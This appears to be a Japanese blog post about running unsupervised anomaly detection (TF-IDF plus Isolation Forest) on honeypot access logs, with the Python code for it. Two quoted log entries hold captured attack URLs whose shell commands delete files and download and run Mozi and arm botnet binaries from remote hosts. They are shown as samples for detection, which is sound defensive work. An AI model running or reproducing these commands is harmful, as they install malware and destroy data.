見出し画像

#11 Anomaly Detection

第11週。

またハニーポットが止まりました。今度は容量不足です。100GBのサーバーを借りてるのですが、Dionaeaに90GB持って行かれました。運用を始めて1ヶ月ちょっとですが、想定以上にログがたまっていて、解析が間に合いません。

こっちは遊びでやっているので大丈夫ですが、実際にサービスを運用していて、脅威分析などセキュリティ対応が必要となる場合もあります。この量の情報は人手ではさばけないでしょう。近頃は、機械学習を使った異常検知など実用化され、サイバー攻撃の早期検出に役立っていると聞きます。せっかくログがたくさんあるので、やってみましょう。


目標

大量のログを機械学習でさばく

ハニーポットの性質上、攻撃データが9割以上という偏ったデータセットとなっています。その他のデータを集める時間もないので、これでいきます。なにかおもしろいことができそうな気がしますが、思いつかないので、とりあえず動かしてみます。


環境

Python         3.8.2
scikit-learn   1.0.2


方針

ラベリングする時間がないので、教師なし学習で異常検知ができるIsoration Forestというアルゴリズムを使ってみます。

//wowhoneypot access_log
[2022-02-01 00:40:16+0900] xx.xx.xx.xx xx.xx.xx.xx:80 "GET /.env HTTP/1.1" 200 False R0VUIC8uZW52...<base64 request>
[2022-02-01 00:40:16+0900] xx.xx.xx.xx xx.xx.xx.xx:80 "POST / HTTP/1.1" 200 False UE9TVCAvIEh...<base64 request>

こんな感じでアクセスログが残っています。普通のアクセスログとちがって、リクエストの全容がbase64で記録されているため、捗ります。

リクエストURLに着目して、普通の攻撃とはちがった趣向のものを検出します。ざっとログを見渡すと、似たようなアクセスがたくさん来ているのですが、いろいろ試行錯誤して攻撃の糸口を探しているようなときは、

"GET /shell?cd+/tmp;rm+-rf+*;wget+http://xx.xx.xx.xx:34146/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

このような際立ったURLになると考えられます。機械的な物量攻撃よりもこちらの方がよほど危ない感じがします。N-gram x tf-idfを使ってURL文字列をベクトル化し、Isoration Forestで外れ値を検出するという方針でいきます。


作業

まず、Python環境を整えます。

$ pyenv install 3.8.2
$ pyenv global 3.8.2

$ pip install --upgrade pip
$ pip install numpy pandas scikit-learn

あとは、ログファイルからURL文字列を抽出してベクトル化し、学習させるだけです。

#main.py

import glob
from formatter import Formatter
from classifier import Classifier

def main():
   fm = Formatter()
   #ファイル読み込み。整形して一時ファイルに書き込んでいる
   files = glob.glob("./data/row/*")
   for file in files:
       fm.write(file)

   #一時ファイルを読み込んで配列にする
   data = fm.read()
   
   clf = Classifier()
   
   #ベクトル化して学習
   clf.train(data)

   #結果を表示
   pred = clf.predict(data)
   for z in zip(data, pred):
       print(z)

if __name__  == "__main__":
   main()
#formatter.py
import re

class Formatter:
   #ログから必要な情報を抽出して一時ファイルに書き込む
   def __init__(self):

       ''' file to write '''
       self.write_path = "./data/formatted.txt"
       ''' columns to pick '''
       self.columns = [4, 5, 9]  # method, path, request
       ''' characters to remove '''
       self.remove = '[]"'
       ''' delimiter of file'''
       self.delimiter = " "
       ''' newline '''
       self.newline = "\n"

   def log2array(self, path):
       with open(path) as f:
           data = f.read()
           data = re.sub('[\[\]\"]', "", data)
           lines = data.split(self.newline)

       lines = lines[:-1]
       separated = [l.split(" ") for l in lines]
       return separated

   def filter(self, line):
       if line[5] == "/":
           return False

       return True

   def format(self, log_array):
       res = []
       for l in log_array:
           if self.filter(l):
               f = [l[i] for i in self.columns]
               res.append(f)
       return res

   def write(self, path):
       arr = self.format(self.log2array(path))
       text = ""
       for l in arr:
           str = self.delimiter.join(l) + self.newline
           text += str

       print("begin to write a file")
       with open(self.write_path, 'a') as f:
           f.write(text)

       print("done")

   def read(self):
       data = self.log2array(self.write_path)
       return data
#classifier.py
import numpy as np
import pandas as pd
import pickle
from sklearn.ensemble import IsolationForest
from sklearn.feature_extraction.text import TfidfVectorizer


class Classifier:
   #データのベクトル化・分類器の学習・予測
   def __init__(self):
       self.clf = IsolationForest()
       self.row = 1

       self.dict = dict()
       self.limit = 100

   def vectorize(self, data):
       options = {
           "ngram_range" : (1,1),
           "analyzer" : "char",
           "min_df" : 0.1
       }
       vec = TfidfVectorizer(**options)

       df = pd.DataFrame(data=data)
       x = vec.fit_transform(df[self.row])

       return x

   def train(self, data):
       x = self.vectorize(data)
       self.clf.fit(x)

   def predict(self, data):
       x = self.vectorize(data)
       pred = self.clf.predict(x)
       return pred

試行錯誤しながらなので、無駄があるかもしれませんがご容赦ください。

<project dir>/data/row以下にログファイルを置くと、読み込んで学習し結果の表示まで行います。

// [メソッド, URL, Base64リクエスト], 結果 
(['GET', '/manager/html', 'R0VUIC9tYW...<base64 request>'], 1)
(['GET', '/shell?cd+/tmp;rm+-rf+*;wget+%20212.192.216.46/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws', 'R0VUIC9zaGVsbD9...<base64 request>'], -1)

結果は1が正常(よくあるパターン)、-1が異常値です。/manager/htmlというアクセスは大量に来ていたので、この結果は期待通りと言えるでしょう。もちろん、検知能力はデータの質に左右されるため、適切にデータクレンジングを行ったり、より多くのデータを集めたりとまだまだできることはありそうですが、とりあえず動くものが作れました。


まとめ

機械学習は、PCスペックも求められるし、ややこしい計算が多いしで、ハードルが高い印象がありました。今回触ってみて、参考書籍やネットの情報も充実しており、またフレームワークも使いやすくなっているような印象を受けました。Google Collabなどのサービスを利用すれば、自分では買えない最強の環境で遊べます。少し工夫をすれば、日々の作業を効率化できるのではないでしょうか。まだまだ使っていないログがあるので、いじくりまわしてみます。


EOF

この記事が気に入ったらサポートをしてみませんか?